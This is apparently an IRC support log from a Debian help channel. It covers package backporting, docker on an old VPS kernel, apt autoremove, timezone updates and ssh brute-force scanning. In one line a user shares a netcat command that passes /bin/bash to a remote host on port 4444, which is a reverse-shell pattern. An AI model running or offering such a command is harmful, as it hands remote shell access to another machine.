• 0[00:00:10] <olalonde> TomTomTosch: can't see the source on debian's package website? :(
• 1[00:00:37] <kevr> sigh
• 2[00:01:03] <kevr> this is so frustrating.
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• 4[00:01:28] <TomTomTosch> olalonde: replaced-url
• 5[00:02:02] <olalonde> Getting "E: You must put some 'source' URIs in your sources.list"
• 6[00:02:07] <olalonde> TomTomTosch: oh thanks!
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• 8[00:02:51] <TomTomTosch> oh, right. you need to put the deb-src line in your sources.list first. but the ssb factoid has all the steps.
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• 11[00:04:01] <kevr> so
• 12[00:04:10] <preaction> buttons
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• 33[00:13:32] <GeMiNniS> bye
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• 41[00:18:35] <olalonde> I'm now following the instructions from replaced-url
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• 44[00:19:12] <TomTomTosch> you will not be able to install graphicsmagick 1.3.25 from jessie-backports.
• 45[00:19:24] <olalonde> but even when I do "apt-get -t jessie-backports install graphicsmagick", it installs from "jessie/main". In logs I'm seeing "Get:1 replaced-url
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• 48[00:19:47] <TomTomTosch> because there is no graphicsmagick in jessie-backports.
• 49[00:19:56] <olalonde> Oh, ok :o
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• 52[00:21:40] <TomTomTosch> that's why i let the bot send you instructions on how to create a backport yourself by building from sid sources.
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• 57[00:24:07] <olalonde> Right , trying to follow those instructions
• 58[00:24:11] <olalonde> But I don't know how to "enable debian-backports (see <bdo>)"
• 59[00:24:19] <olalonde> bdo doesn't explain either
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• 61[00:25:42] <TomTomTosch> that means you need to add the jessie-backports line to your sources.list and run "apt update"
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• 63[00:25:59] <olalonde> First it says to check if package is on backports than if not, you still need to install backports?
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• 65[00:26:02] <olalonde> A bit confusing
• 66[00:26:06] <olalonde> Ok
• 67[00:26:26] <TomTomTosch> not install from backports, just add it to your sources, in case it needs to pull dependencies from there.
• 68[00:26:31] <olalonde> Ah ok, I see
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• 70[00:28:12] <olalonde> Is there an `apt` command for `aptitude build-dep packagename` ?
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• 72[00:28:39] <olalonde> apt-get build-dep , oopsie
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• 74[00:29:27] <TomTomTosch> yep. apt-get build-dep ^^
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• 76[00:30:56] <TomTomTosch> oh, now this is fun. virtual packages are not installed automatically by this.
• 77[00:31:00] <TomTomTosch> bit of a PITA
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• 79[00:31:06] <olalonde> "install the resultant debs" yep
• 80[00:31:15] <olalonde> Wondering what that step entails :P
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• 82[00:32:00] <TomTomTosch> did apt-get build-dep not complain about "Unable to satisfy the build-depends"?
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• 85[00:32:59] <olalonde> No
• 86[00:33:07] <TomTomTosch> interesting.
• 87[00:33:13] <olalonde> Well, it's building now
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• 90[00:34:41] <olalonde> Running "apt-get -b source graphicsmagick"
• 91[00:34:46] <wozzoz> hi everybody!
• 92[00:35:03] <olalonde> TomTomTosch: once it's built, do I need to run another command or will it be installed?
• 93[00:35:39] <TomTomTosch> it will produce one or more .deb files, which you can install using dpkg -i <.deb>
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• 100[00:39:09] <olalonde> dpkg: dependency problems prevent configuration of graphicsmagick:
• 101[00:39:09] <olalonde> graphicsmagick depends on libgraphicsmagick-q16-3 (>= 1.3.5)
• 102[00:39:10] <dpkg> olalonde: that's not the complete error. Please pastebin the command you gave and the entire output. Ask me about <pastebin> <bat> <localised errors>.
• 103[00:39:23] <olalonde> I'm seeing a deb for that dependency
• 104[00:39:32] <olalonde> I need to install all of them maybe?
• 105[00:39:36] <TomTomTosch> then you need to install them in the right order.
• 106[00:39:55] <olalonde> replaced-url
• 107[00:40:10] <olalonde> Oh, thought that'd be automatic :P ok
• 108[00:41:02] <TomTomTosch> no, where would be the fun in that? ^^
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• 111[00:41:34] <olalonde> Yay, I got it :) final script: replaced-url
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• 113[00:43:06] <TomTomTosch> and it works as expected?
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• 119[00:45:53] <olalonde> gm -version shows the right version
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• 121[00:46:02] <olalonde> Need to run my tests now to see :)
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• 153[01:02:05] <kevr> wow, that's amazing
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• 156[01:02:14] <kevr> docker-engine actually just installed without complaining
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• 168[01:07:59] <kevr> does upstart come with /usr/sbin/service?
• 169[01:08:59] <jmcnaught> kevr: you can review contents of installed packages with "dpkg -L $package" or search for which package a file belongs to with "dpkg -S /path/to/file"
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• 172[01:09:40] <kevr> ah i see
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• 174[01:10:47] <jmcnaught> kevr: upstart does seem like an odd choice though
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• 177[01:11:22] <kevr> i didn't really choose it, it just came to the system somehow when i installed something, not really sure. :/
• 178[01:11:28] <kevr> i think it had to do with docker-engine
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• 181[01:12:27] <jmcnaught> it would be hilarious if the upstream docker repos enforce some sort of anti-systemd FUD on its users considering that Docker is a far more radical departure from traditional init than systemd is
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• 185[01:13:10] <kevr> lol
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• 187[01:13:40] <kevr> jmcnaught: btw, i was able to downgrade by telling aptitude some special preferences
• 188[01:13:47] <kevr> then running an upgrade/dist-upgrade
• 189[01:14:14] <jmcnaught> kevr: that kind of thing is not guaranteed to work, but i'm glad you managed to do it
• 190[01:14:33] <kevr> gotcha
• 191[01:14:47] <jmcnaught> kevr: in general you cannot mix the repos of Debian releases. If you add stretch repo to a jessie system, you get a stretch system (or a half broken hybrid of the two)
• 192[01:15:44] <kevr> i see. and darn, something is wrong with docker. :/
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• 194[01:17:29] <guest66> ay
• 195[01:17:30] <guest66> hi
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• 201[01:20:45] <||JD||> vlsub is fucked up, can't login or register at vlc forum either, anyone else noticed issues?
• 202[01:20:56] <||JD||> ls
• 203[01:21:03] <||JD||> damn it
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• 208[01:23:18] <ctx144k> hi all
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• 211[01:24:16] <ctx144k> i installed debianb 8.6 with gnome desktop. after that i installed via apt-get kate - but its not shown in gnome activity-menu
• 212[01:24:24] <ctx144k> anyone have an idea?
• 213[01:24:36] <ctx144k> when im calling it via command-prompt its running
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• 250[01:41:35] <kevr> oh, my kernel isn't new enough to run docker
• 251[01:41:37] <kevr> sigh
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• 256[01:44:43] <stoned> :(
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• 258[01:44:52] <stoned> kevr: which is your kernel?
• 259[01:45:00] <stoned> kevr: there are kernels on backports you could probably try
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• 271[01:51:30] <ctx144k> ok i founded reason why kate not founded in gnome-menu - theres an app for showing/hiding apps inside menu
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• 304[02:09:00] <mdim> hi mentors!
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• 306[02:09:46] <zaturek> hello guys! I need some help! I want to delete geany from my system. I did it with purge. And found geany-common. I've deleted that too. I've deleted geany-plugins first. But this thing is still on my laptop and no more Idea how to get rid of it.
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• 310[02:10:16] <mdim> I'm working on packaging Scala 2.10.6 for Debian, even though there's already a package for Scala 2.11.8. The reason is that 2.10.6 is a build dependency for an important tool of the Scala programming land. How do I change it's debian/watch file to point to 2.10 release tags only?
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• 314[02:11:16] <mdim> Scala source packages can be found at replaced-url
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• 317[02:14:58] <mdim> for example, the latest release has this file: replaced-url
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• 321[02:18:13] <th0r> zaturek, did you try apt-get autoremove
• 322[02:19:18] <missmbob> i get the debian dir from replaced-url
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• 325[02:20:06] <missmbob> !uupdate
• 326[02:20:06] <dpkg> uupdate (in the <devscripts> package) upgrades a source code package from an upstream revision, or e.g. if the newest foo in debian is 1.2, and upstream is at 1.4: apt-get source foo; wget -nd replaced-url
• 327[02:20:17] <missmbob> that could do it too if you use the 2.10.5 sources initially
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• 331[02:21:40] <mdim> missmbob: yes, I'm starting from 2.10.5 and then am planning to fetch sources for 2.10.6
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• 334[02:22:15] <mdim> missmbob: so no need to change the watch file?
• 335[02:22:18] <ramo> hi i have a question regarding netcat. i tried to use port 4444 however it doesnt work with me so i used port 2222 and its work. the question is there a diffrence between 2222 and 4444 since 4444 doesnt work
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• 338[02:24:21] <jercos> ramo: you may have something else listening on port 4444. lsof -i tcp:4444 should tell you what.
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• 341[02:25:19] <zaturek> th0r, I did. But i guess I know the problem already. I'll have to: make uninstall
• 342[02:25:22] <zaturek> :)
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• 344[02:26:06] <missmbob> mdim: no
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• 347[02:27:00] <mdim> missmbob: the original scala source package is git-buildpackage-based. Shouldn't I be using Git to somehow fetch commits from upstream to incorporate them into my Git repo for the scala-2.10 source package?
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• 349[02:27:59] <nktn> Q > is it possible to know what packages a .run file installs before executing?
• 350[02:28:10] <missmbob> mdim: i wouldn't care. it's an old branch. doubt it really gets touched.
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• 353[02:29:19] <mdim> ok
• 354[02:29:27] <mdim> thanks!
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• 358[02:32:01] <de-facto> wft is this ip from china trying to do on my ssh port? netstat -tup shows it like "tcp 0 0 example.com:ssh 221.229.172.7:57766 SYN_RECV -"
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• 360[02:32:32] <de-facto> CHINANET jiangsu province network
• 361[02:32:37] <de-facto> hmmm
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• 363[02:33:03] <missmbob> that's normal. bots scan every online box. constantly.
• 364[02:33:05] <preaction> log in
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• 366[02:33:24] <preaction> so, if you haven't disabled passwords and root logins from sshd, you should
• 367[02:33:27] <missmbob> and then good out dictionary attacks
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• 369[02:33:34] <missmbob> good old*
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• 371[02:34:10] <de-facto> yes i have it as password login, its my old box, i guess i should change the port of ssh to some high number and make it key based only
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• 395[02:42:23] <ramo> I typed the command lsof -i tcp:4444. but it doesnt show any results
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• 397[02:44:12] <jercos> ramo: you might try netcat again then... and if you can provide error messages, as well as the exact command you used, it might help in determining the issue.
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• 417[02:54:13] <ramo> here is the error message: (UNKNOWN) [10.11.XXX.XXX] 4444(?) :Connection timed out
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• 421[02:56:18] <dclarke> my apt-get claims Failed to fetch replaced-url
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• 425[02:57:48] <dclarke> I used the example sources.list from replaced-url
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• 427[02:59:00] <dclarke> I may give up and try apt-cdrom add
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• 435[02:03:39] <ramo> the command i used: nc -vn 10.11.xxx.xxx 4444 -e /bin/bash
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• 440[02:06:13] <theperson5738888> hi
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• 447[02:10:55] <mdim> missmbob: is there a way to apply uupdate to the current directory without creating a new one?
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• 471[02:33:02] <n-st> fun fact: debian jessie takes longer to install on my vm than windows xp :|
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• 476[02:35:12] <preaction> i could swear one of those is more modern... one of them... but which one...
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• 478[02:37:54] <n-st> got to admit though, that comparison doesn't include the additional time needed to put the windows xp vm on an isolated network without internet connectivity
• 479[02:38:48] <n-st> i'm not a savage, you know! when i use outdated software, i at least put it where noone else can see it :)
• 480[02:39:33] <ryouma> how do i turn off and on the internet? and will the firewall restart automatically when i turn it back on?
• 481[02:39:39] <ryouma> ifup?
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• 485[02:40:15] <n-st> ryouma: turn off the internet: lots of nukes. turn on the internet: wait a few decades for society to rebuild
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• 488[02:41:27] <n-st> ryouma: on the other hand, your personal network connection is usually fairly easy to turn off, and at least iptables doesn't stop working as configured unless you tell it to ;)
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• 490[02:41:58] <ryouma> n-st: ok great, so no matter what firewall i have installed, it will just keep going regardless of ifup and ifdown?
• 491[02:42:27] <n-st> ryouma: iptables will, but i can't say anything about other firewalls you might be using instead
• 492[02:42:46] <n-st> and be careful not to lock yourself out from a remote system by running ifdown ;)
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• 497[02:44:08] <n-st> ryouma: in fact, let's take a step back: *why* do you want to turn off your network?
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• 499[02:45:02] <ryouma> n-st: because (1) seems like a good idea to know this and (2) qbittorrent is seemingly killing my router within seconds of launching it, so i want to turn off internet, run qbittorrent, pause all torrents, resume only one, turn on internet
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• 501[02:46:43] <n-st> ryouma: (1) fair enough, but you'll rarely need to do that ;) (2) try `trickle` :)
• 502[02:47:17] <n-st> trickle — a lightweight userspace bandwidth shaper
• 503[02:47:23] <n-st> trickle is highly configurable; download and upload rates can be set separately, or in an aggregate fashion.
• 504[02:47:44] <ryouma> n-st: i have used trickle in the past, but i don't want to ahve to relearn it and make guesses about what is killing the router just to do this
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• 508[02:48:35] <ryouma> i.e. idk if it is bandwidth, number of connections, or stuff i don't even know about
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• 510[02:48:52] <n-st> that's something you should find out ;)
• 511[02:49:34] <missmbob> qbittorrent doesnt have settings for this? limiting number of connections, bandwidth, etc?
• 512[02:49:45] <n-st> and you could probably write some generic iptables rules that limit bandwidth, packets per second, etc (ask in ##networking if you like, i have next to no clue about iptables)
• 513[02:49:54] <ryouma> n-st: be nice, yeah. but for now i just want to launch and try one torrent. and i want to know /anyway/ how to turn off and on the internet. because i am al gore and it would be embarrassing if i didn't.
• 514[02:50:13] <n-st> fair enough :D
• 515[02:50:16] <ryouma> missmbob: i tried limiting to 100 from the default 500 and it still seemingly took down the router
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• 519[02:51:13] <ryouma> and i wouldn't know where to start to find out why qbittorrent is taking down teh router, if it is. except haphazard guesses like max global connections, which we still don't have an upper bound on.
• 520[02:51:16] <n-st> ifdown (or ifconfig eth0 down) is a fairly strong measure, but should get you there. ifup might not bring everything back to the intended state, though (at least i've had issues in the past)
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• 522[02:51:34] <missmbob> dont use ifconfig
• 523[02:52:03] <n-st> for your use case, it should be enough to remove the default route (keep the network online, but make your system forget where it should send packets that are supposed to reach the internet)
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• 525[02:53:55] <ryouma> (btw i imagine this knowledge would be useful if it seems that my machine is under attack or something too)
• 526[02:54:07] <ryouma> (but don't want to derail the conversation to that)
• 527[02:54:23] <ryouma> n-st: ok, then what is the command for that?
• 528[02:54:26] <n-st> ryouma: make a note of your current default route: ip route show default | grep default
• 529[02:54:43] <n-st> then remove it: ip route del default
• 530[02:55:03] <th0r> ryouma, why don't you just unplug or turn off the router?
• 531[02:55:17] <ryouma> th0r: it is not physically possible for me
• 532[02:55:44] <n-st> keep in mind that more specific routes will remain in effect, so this only works for *extremely simple* network layouts
• 533[02:56:02] <ryouma> why would ifup eth0 not restore stuff properly?
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• 535[02:56:15] <n-st> no clue to be honest :/
• 536[02:56:23] <ryouma> i do not know how to determine whether my layout is extremely simple
• 537[02:56:49] <ryouma> i could always reboot i suppose, but it would be nice to have confidence in this stuff
• 538[02:57:12] <n-st> ryouma: how much networking stuff do you want to learn? :) i'm still waiting for that installation, so could have a look at your network config
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• 542[02:58:28] <ryouma> n-st: i am limited in typing ability, and already too much typing, so in practice i just want practical ifup/ifdown knowledge
• 543[02:58:59] <missmbob> that's really all you need. ifdown eth0 ; ifup eth0; that should be it.
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• 546[02:59:34] <missmbob> it'd get new dhcp ip if needed automagically
• 547[03:00:08] <missmbob> (assuming it's configured to do so in interfaces)
• 548[03:00:11] <ryouma> missmbob: great. was concerned about "ifup might not bring everything back to the intended state, though (at least i've had issues in the past)"
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• 551[03:01:03] <missmbob> ryouma: which version of libtorrent are you using?
• 552[03:01:15] <n-st> "The ifupdown package is the de facto standard for such high level network configuration system on Debian. It enables you to bring up network simply by doing , e.g., "ifup eth0". Its configuration file is the "/etc/network/interfaces" file."
• 553[03:01:52] <n-st> it's legacy though (to be replaced by some systemd abomination, probably): replaced-url
• 554[03:02:58] <ryouma> missmbob: libtorrent-rasterbar7: Installed: 0.16.18-1 Candidate: 0.16.18-1 Version table: *** 0.16.18-1 0
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• 556[03:03:29] <ryouma> missmbob: i.e. normal qbittorrent as i was not able to install a newer one, even with your help
• 557[03:03:36] <missmbob> ryouma: oh. that's ugly. that could be your problem as to why the settings aren't helping you out
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• 559[03:03:52] <ryouma> oh, buggy qbittorrent? it's the standard jessie version.
• 560[03:03:53] <missmbob> oh that was you
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• 565[03:04:46] <ryouma> yup :)
• 566[03:04:51] <jmcnaught> n-st: there's an ifupdown2 in stretch and jessie-backports. systemd-networkd also works on jessie and later.
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• 568[03:05:40] <ryouma> backporting mpv? yes. backporting qbittorrent? errors.
• 569[03:05:40] <n-st> jmcnaught: yup, i was wondering about networkd. does it have any functions to control the interfaces, or just to look at their status?
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• 572[03:06:30] <jmcnaught> n-st: it can configure interfaces. it's not that bad looking really.. sort of a halfway point between ifupdown and networkmanager
• 573[03:06:39] <sm00th> how do I stop autoremove from wanting to remove my whole desktop?
• 574[03:06:52] <missmbob> replaced-url
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• 578[03:07:17] <n-st> i'm (somewhat grudgingly) using networkd on my arch boxes
• 579[03:07:23] <kevr> question about chroots. is there a way to run a separate kernel inside a chroot?
• 580[03:07:40] <pingfloyd> sm00th: mark the packages that you want to keep, from the meta-package being removed, as manually installed
• 581[03:07:48] <kevr> basically, i have a VPS, and this VPS has a locked kernel (3.2.X...), but i need at least 3.10 somehow so i can run docker
• 582[03:08:19] <sm00th> pingfloyd, its a huge giant blob i'm not sure why
• 583[03:08:25] <sm00th> I think cause I uninstalled Knote
• 584[03:08:26] <pingfloyd> sm00th: though autoremove shouldn't do that unless you removed something earlier that included a meta-package
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• 588[03:08:51] <sm00th> maybe I should just shut autoremove off and retire it from my vocabulary
• 589[03:09:04] <pingfloyd> sm00th: no
• 590[03:09:09] <pingfloyd> it's a good thing
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• 592[03:09:16] <sm00th> pingfloyd, what should I do then?
• 593[03:09:26] <pingfloyd> just have to be aware how manual/automatic install works
• 594[03:09:34] <sm00th> i'm not gonna mark every single one of those packages
• 595[03:09:43] <sm00th> time to retire it from the vocab
• 596[03:09:50] <Amun_Ra> kevr: no
• 597[03:10:01] <jmcnaught> kevr: no, you cannot run a different kernel in a chroot or a container
• 598[03:10:01] <n-st> kevr: your vm is probably an openvz/lxc container, sharing the kernel of the host system. saves resources, but limits flexibility. you'll probably need a vm with full virtualisation (kvm, xen-hvm, vmware, …)
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• 600[03:10:21] <jmcnaught> kevr: why do you need a different kernel?
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• 602[03:10:28] <sm00th> pingfloyd, why do you say its a good thing though?
• 603[03:10:57] <pingfloyd> sm00th: because it is if you understand how it works
• 604[03:10:59] <jmcnaught> sm00th: did you remove a package that removed the metapackages for your DE?
• 605[03:11:17] <pingfloyd> it keeps the system tidy and free of unneeded packages
• 606[03:12:19] <pingfloyd> really you just have to determine what you do want installed, and then let dependencies be resolved automatically
• 607[03:13:02] <kevr> jmcnaught: docker doesn't run on my kernel version in this VPS.
• 608[03:13:09] <pingfloyd> anything automatically installed will stay if something manually installed depends on it in some manner, otherwise it will be removed when you autoremove.
• 609[03:13:11] <kevr> so im probably screwed for docker
• 610[03:13:15] <kevr> with this vendor at least
• 611[03:13:23] <jmcnaught> kevr: what is the kernel? "uname -a"
• 612[03:13:30] <sm00th> ya i'm not gonna mark every package in my system right now
• 613[03:13:30] <sm00th> sorry
• 614[03:13:31] <sm00th> hahaha
• 615[03:13:37] <pingfloyd> that's not what I said
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• 617[03:13:41] <sm00th> but thats what I said
• 618[03:13:43] <pingfloyd> you don't mark every package manual
• 619[03:13:46] <sm00th> time to remove it from my vocab now
• 620[03:13:47] <sm00th> I do
• 621[03:13:52] <pingfloyd> you only mark the ones you don't want autoremoved
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• 623[03:14:00] <sm00th> because I uninstalled knotes
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• 625[03:14:11] <sm00th> ya the ones I want, is probalby everythign in this huge giant blob of text
• 626[03:14:14] <sm00th> good luck with that buddy haha
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• 628[03:14:19] <pingfloyd> knotes is probably a dependency of some meta-package you have installed
• 629[03:14:36] <sm00th> pingfloyd i'll paste it for you
• 630[03:14:36] <jmcnaught> sm00th: was knotes interfering with something, or were you just trying to save a few dozen MB?
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• 633[03:14:48] <sm00th> jmcnaught, dont' like it recording my keystrokes
• 634[03:14:53] <sm00th> don't most people remove it?
• 635[03:14:58] <sm00th> use to be able to do it from taskbar
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• 637[03:15:06] <sm00th> but its been popping up again on the screen freaking me out haha
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• 639[03:15:20] <sm00th> so just removed the package
• 640[03:15:38] <pingfloyd> your problem is probably from the fact that knotes is a dependency of kde-standard
• 641[03:15:46] <jmcnaught> sm00th: i don't know what it is, but usually it's simpler to disable something than to remove a package depended on by your DE's metapackages
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• 643[03:16:15] <sm00th> pingfloyd, replaced-url
• 644[03:16:19] <pingfloyd> kde-standard is what is keeping knotes on your system along with a bunch of other packages
• 645[03:16:37] <sm00th> no kidding
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• 648[03:16:55] <pingfloyd> sm00th: simple ignore the libs in that list, and determine which apps in that list you want to keep around and mark them manually installed
• 649[03:16:59] <mythos> hello there. I'm using debian jessie and it's weird, but my debian didn't switch to normal/winter time. is that a known bug?
• 650[03:17:03] <sm00th> I want to keep them all
• 651[03:17:10] <sm00th> how do I do it ?
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• 653[03:17:38] <sm00th> one by one? haha
• 654[03:17:48] <pingfloyd> actually you see what you removed with apt-get remove that prompted that large of removal first
• 655[03:17:59] <pingfloyd> you can check the logs if you don't remember
• 656[03:18:13] <sm00th> i just said knote
• 657[03:18:32] <pingfloyd> and what got removed with knote?
• 658[03:19:18] <jmcnaught> mythos: have you done updates? there should be a new version of tzdata
• 659[03:19:23] <sm00th> ah i see so i would reinstall kde-standard thats what you meant
• 660[03:19:35] <sm00th> but so what if I don't want to
• 661[03:19:41] <sm00th> and just keep what I got now.
• 662[03:19:42] <mythos> jmcnaught, everything up to date
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• 664[03:19:49] <sm00th> how do I do it without doing each one by one?
• 665[03:20:02] <missmbob> and the correct timezone is set in /etc/localtime ?
• 666[03:20:09] <pingfloyd> though really the big question is if there is anything in that list for your autoremove output you want to keep around
• 667[03:20:10] <mythos> missmbob, yes
• 668[03:20:11] <sm00th> what if I just say screw kde-standard. let me just remove autoremove from my vocabulary
• 669[03:20:13] <sm00th> is that ok?
• 670[03:20:21] <missmbob> mythos: did you install ntp or configure systemd-timesyncd ?
• 671[03:20:36] <sm00th> pingfloyd, my next question is how do I disable it in systemd system
• 672[03:20:42] <missmbob> !tell mythos about systemd-timesyncd
• 673[03:20:48] <jmcnaught> sm00th: why not reinstall kde-standard, and then focus on disabling knotes from your session
• 674[03:20:49] <sm00th> lol cause I'm only finding directions for older way /etc/apt.conf
• 675[03:20:58] <sm00th> jmcnaught, thats what I normally do
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• 677[03:21:03] <mythos> missmbob, i'm using sysv-init and ntpd
• 678[03:21:07] <sm00th> but this is actually good, now I find out i can just get rid of all of kde-standard
• 679[03:21:13] <mythos> but that shouldn't be the problem
• 680[03:21:13] <sm00th> i'm a keep it that way now.
• 681[03:21:26] <sm00th> obviously I don't need it, cause I don't miss it.
• 682[03:21:32] <sm00th> haha
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• 684[03:21:41] <mythos> killing the service and running ntpdate -s timeserver does nothing either
• 685[03:21:49] <jmcnaught> the advantage to keeping the meta-packages installed is that when you upgrade to stretch for example, if Debian has a different collection of packages for KDE then it will know to add/remove the changes
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• 687[03:22:07] <jmcnaught> mythos: what version is your tzdata package?
• 688[03:22:29] <pingfloyd> sm00th: marking as manually installed what kde-standard meta-package depends on (that you want to keep installed) bothers you, then you should just keep kde-standard and not worry about it.
• 689[03:22:35] <sm00th> jmcnaught, well getting rid of knotes is more important for me
• 690[03:22:38] <mythos> jmcnaught, 2016f-0+deb8u1
• 691[03:22:40] <missmbob> jessie-updates has 2016h-0+deb8u1
• 692[03:22:50] <pingfloyd> all the meta-packages do is mark simpler to install a collection of packages
• 693[03:23:00] <missmbob> mythos: so you need to add that to your sources and upgrade
• 694[03:23:03] <sm00th> pingfloyd, sorry i'm noob, so i can mark something to remove only knotes and not kde-standard?
• 695[03:23:16] <sm00th> or to install kde-standard without install knotes?
• 696[03:23:28] <pingfloyd> if you're finicky about what is installed and not installed, they're not usually what you want and you should just install whatever you do want or mark manually installed.
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• 698[03:23:53] <mdim> can someone help me with using gbp? In particular, I'm trying to create a scala-2.10 source package. There is already a scala source package, but it's at 2.11.8 and I need 2.10.6 to build an important Scala tool. I started with the original scala source package Git repository and switched to a commit corresponding to 2.10.5-1. On top of that I'd like to import the upstream Scala 2.10.6 source code tarball. How do I do that with gbp?
• 699[03:24:15] <sm00th> pingfloyd, nvm
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• 701[03:24:34] <sm00th> pingfloyd, autoremove is finicky, so i'm gonna remove it from my vocab
• 702[03:24:36] <mythos> missmbob, erm... ok. going to do that =)
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• 704[03:24:45] <sm00th> only time its ever helpful for me is to remove an old kernel
• 705[03:24:50] <sm00th> i'll just do that manually no big deal
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• 708[03:25:05] <sm00th> but now its a security risk
• 709[03:25:15] <sm00th> i can accidentally remove my whole entire system, as if it is a sick joke being played on me
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• 711[03:25:16] <mdim> I tried with using uupdate, but it creates a new separate directory and it is not a Git repository
• 712[03:25:19] <sm00th> so i'd rather not risk it lmao...
• 713[03:25:30] <sm00th> pingfloyd, but can you answer my question though, how do I disable autoremove in debian 8
• 714[03:25:43] <sm00th> pretty please
• 715[03:25:54] <pingfloyd> I wouldn't know since it doesn't make any sense to
• 716[03:25:57] <sm00th> i see there is a file in conf.d
• 717[03:26:06] <mythos> missmbob, isn't "deb [arch=amd64,i386] replaced-url
• 718[03:26:13] <mdim> then I tried with git-import-orig, but that insisted on me first checking out the upstream branch, which I don't want to do because I need to base my stuff on 2.10.5-1, and not the upstream branch, which is based on 2.11.8
• 719[03:26:25] <pingfloyd> disabling will just keep orphaned packages installed wasting storage
• 720[03:26:30] <sm00th> pingfloyd, well i just laid it out for you, its common sense to me.
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• 722[03:26:43] <pingfloyd> it's not
• 723[03:26:46] <mythos> kk, found the wiki entry
• 724[03:26:51] <pingfloyd> you need to understand how apt works
• 725[03:26:53] <sm00th> pingfloyd, oh well
• 726[03:26:57] <missmbob> mythos: it's not security. deb replaced-url
• 727[03:27:05] <sm00th> pingfloyd, like I said only time its helpful is for removing old kernel packages
• 728[03:27:26] <sm00th> otherwise who cares, and if i have a problem when updating to the new stable version i'll just fresh install
• 729[03:27:32] <sm00th> which is probably better anyways.
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• 732[03:28:40] <mythos> missmbob, ok, updated tzdata. still wrong time
• 733[03:28:52] <pingfloyd> if you don't know what packages you want to keep installed individually, just stick to the meta-packages. That's why they're there.
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• 735[03:29:22] <sm00th> i told you already i want to keep them all
• 736[03:29:24] <missmbob> mythos: i'm out of ideas
• 737[03:29:26] <sm00th> i gave you the paste
• 738[03:29:38] <mythos> missmbob, thanks anyways
• 739[03:29:39] <mythos> =)
• 740[03:29:39] <sm00th> there is no way to just mark all packages marked to remove at once?
• 741[03:29:54] <sm00th> or to reset or clear autoremove cache or somethign?
• 742[03:30:01] <sm00th> otherwise good riddens
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• 744[03:31:23] <jmcnaught> mythos: what part of the world are you in? Here in North America EST, the clock goes back November 6 (one week from today)
• 745[03:31:47] <mythos> jmcnaught, austria
• 746[03:31:49] * jmcnaught naively assumes it would be the same day everywhere with his NA privilege.
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• 748[03:32:13] <sm00th> jmcnaught, is this a nother pinning issue?
• 749[03:32:15] <mythos> so europe/austria.. timezone is Europe/Vienna
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• 751[03:32:34] <mythos> and it is supposed to go from 3 to 2
• 752[03:32:45] <mythos> which is half an hour ago
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• 755[03:33:29] <missmbob> after you upgraded tzdata did you reload ntp?
• 756[03:33:33] <jmcnaught> sm00th: my preferred solution is to keep the meta package, and disable whatever you don't like instead of removing it
• 757[03:33:35] <mythos> missmbob, yes
• 758[03:33:49] <mythos> and tried ntpdate -s
• 759[03:33:54] <jmcnaught> sm00th: i don't know how KDE autostarts stuff, but it's got to be configurable
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• 769[03:35:24] <missmbob> is this a vm whose time gets set by host?
• 770[03:35:59] <mythos> nope
• 771[03:36:11] <mythos> supermicro board with xeon haswell cpu
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• 777[03:39:40] <sm00th> jmcnaught, i'm guessing here /etc/apt/apt.conf.d/01autoremove
• 778[03:40:10] <sm00th> I just don't know what to do here, i don't want to remove the file. how do I just disable that script in systemd?
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• 780[03:41:07] <mythos> erm, ok. everything is alright. sorry that i bothered you guys
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• 782[03:41:24] <missmbob> really? we dont get to know wtf? that's some bullshit
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• 788[03:43:35] <jmcnaught> sm00th: it has nothing to do with systemd. those are apt preferences.
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• 790[03:44:25] <jmcnaught> sm00th: kde is also probably not using systemd user session to start applications. It's probably configured in the KDE control panel thing under session or autostart
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• 797[03:46:38] <Arroz9000> nick learnerwind
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• 799[03:47:30] <learnerwind> Hey. Could someone help me to get my wireless card working?
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• 804[03:48:23] <jmcnaught> learnerwind: what kind of card is it? are you going to disappear when someone answers?
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• 806[03:50:30] <learnerwind> jmcaught: I gess not. And my card i dont know what is it but i get this in 'lspci': 02:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. Device 5289 (rev 01)
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• 809[03:51:00] <learnerwind> I always say thank you if i get some answer
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• 812[03:52:20] <jmcnaught> learnerwind: i tried to respond to you a couple of time on OFTC but you kept disconnecting :P
• 813[03:52:38] <jmcnaught> learnerwind: most likely you just need to install firmware-realtek from non-free
• 814[03:52:55] <jmcnaught> if you have done silly stuff like compiling a driver from source, you may want to try and reverse that
• 815[03:52:57] <learnerwind> I've tried download with apt-get, compiling it from source, and updating the kernel, only to ge no ansewr
• 816[03:53:26] <jmcnaught> learnerwind: so "apt-get install firmware-realtek" does what?
• 817[03:53:42] <missmbob> (btw there's a newer firmware-realtek in jessie-backports)
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• 820[03:54:43] <sm00th> jmcnaught, i see kde system because its in a diff location. yess the session start settings is how i normally disable it actually disabling it from task bar and setting to never start use to be enough
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• 822[03:54:58] <sm00th> aht eh middle mouse button is what is bringing it up
• 823[03:55:19] <Arroz9000> \nick learnerwind
• 824[03:55:30] <missmbob> Arroz9000: working with you is like pulling teeth
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• 836[03:58:00] <sm00th> jmcnaught, well that was weird. my whole desktop changed to the kde purple background. and I coudln't see any of my open windows on desktop or in panel.
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• 838[03:58:18] <sm00th> as if it switched to another user, I didn't know how to get back so I had to log out and back in
• 839[03:58:21] <missmbob> sm00th: which debian release are you using?
• 840[03:58:37] <sm00th> sm00th, debian 8
• 841[03:58:39] <sm00th> kde
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• 845[03:58:55] <sm00th> did I hit another shortcut? or am I compromised lol
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• 852[04:00:11] <jmcnaught> sm00th: i'm not really sure what you mean and what you did
• 853[04:00:39] <sm00th> i went to click system settings from start menu, and then boom. its like I changed to another desktop
• 854[04:00:45] <sm00th> I just checked i Only have 1 workgroup set.
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• 856[04:00:55] <sm00th> it changed to another desktop with the default purple kde background
• 857[04:01:03] <sm00th> and I coudln't see any of my windows
• 858[04:01:15] <sm00th> I was forced to log out
• 859[04:01:36] <jmcnaught> whatever happened might be in logs
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• 863[04:02:22] <jmcnaught> sm00th: "journalctl -u kdm -b" for example
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• 875[04:05:37] <missmbob> you might want to try asking people who use kde. #kde
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• 882[04:08:07] <missmbob> i've never used kde longer than it took to hit ctrl+alt+fn
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• 884[04:08:41] <sm00th> jmcnaught, could this be related: org.kde.kuiserver[7337]: QDBusConnection: session D-Bus connection created before QCoreApplication. Application may misbehave.
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• 887[04:09:12] <sm00th> kdm_greet[7285]: Cannot load /usr/share/kde4/apps/kdm/faces/.default.face: No such file or directory
• 888[04:09:37] <sm00th> org.kde.kuiserver[3109]: kuiserver: Fatal IO error: client killed
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• 890[04:09:42] <jmcnaught> sm00th: i don't use KDE, but errors you find you should web search to find what they mean
